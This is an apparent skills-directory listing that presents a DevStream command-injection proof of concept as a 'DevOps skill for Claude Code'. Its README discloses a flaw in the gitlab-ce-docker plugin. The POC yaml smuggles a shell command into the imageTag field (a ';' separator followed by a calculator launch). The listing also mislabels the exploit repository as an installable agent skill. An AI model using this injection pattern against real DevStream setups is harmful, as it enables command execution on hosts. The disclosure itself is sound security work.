Esonhugh

Devstream ConfigFile Command Injection — DevOps skill for Claude Code

DevOps community

Devstream Command injection via evil yaml file in plugin gitlab-ce-docker.

How to install Devstream ConfigFile Command Injection

This entry records only its repository, not the path inside it, so there is no exact command to give. Open Esonhugh/Devstream-ConfigFile-Command-Injection and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

What Devstream ConfigFile Command Injection does

Devstream Command injection via evil yaml file in plugin gitlab-ce-docker.

Alternatives in DevOps

  • Docker 71.9k ★
  • Skill Claw — OpenClaw instance administration — manage hosts across macOS, Ubuntu/Debian, Docker, OCI, and Proxmox 2.8k ★
  • Project Scan — 扫描项目生成配置(CLAUDE.md/restart.sh/ignore/Docker) 1k ★

README


title: 2022-Devstream-Command-injection date: 2022-11-16 12:00:00 categories: [review] tag: [review,vuln]

关于 Devops toolchains - DevStream 的恶意配置文件命令执行

POC/EXP

POC yaml

---
# core config
varFile: "" # If not empty, use the specified external variables config file
toolFile: "" # If not empty, use the specified external tools config file
pluginDir: "" # If empty, use the default value: ~/.devstream/plugins, or use -d flag to specify a directory
state: # state config, backend can be local, s3 or k8s
  backend: local
  options:
    stateFile: devstream.state
---
# tools config
tools:
  # name of the tool
  - name: gitlab-ce-docker
    # id of the tool instance
    instanceID: default
    # format: name.instanceID; If specified, dtm will make sure the dependency is applied first before handling this tool.
    dependsOn: [ ]
    # options for the plugin
    options:
      # hostname for running docker. (default: gitlab.example.com)
      hostname: gitlab.example.com
      # pointing to the directory where the configuration, logs, and data files will reside.
      # (default: /srv/gitlab)
      # 1. it should be a absolute path
      # 2. once the tool is installed, it can't be changed
      gitlabHome: /tmp
      # ssh port exposed in the host machine. (default: 22)
      sshPort: 22
      # http port exposed in the host machine. (default: 80)
      httpPort: 80
      # https port exposed in the host machine.
      # (default: 443)
      # todo: support https, reference: https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https
      httpsPort: 443
      # whether to delete the gitlabHome directory when the tool is removed. (default: false)
      rmDataAfterDelete: false
      # gitlab-ce tag. (default: "rc")
      # imageTag: "rc"
      imageTag: "rc;open /System/Applications/Calculator.app #"

这份文件是参考并复用了对方官方网站的 启动脚本的 QuickStart.yaml 以及[存在漏洞的 gitlab ce docker 插件的文档](https://docs.devstream.io/en/latest/plugins/gitlab-ce-docker/)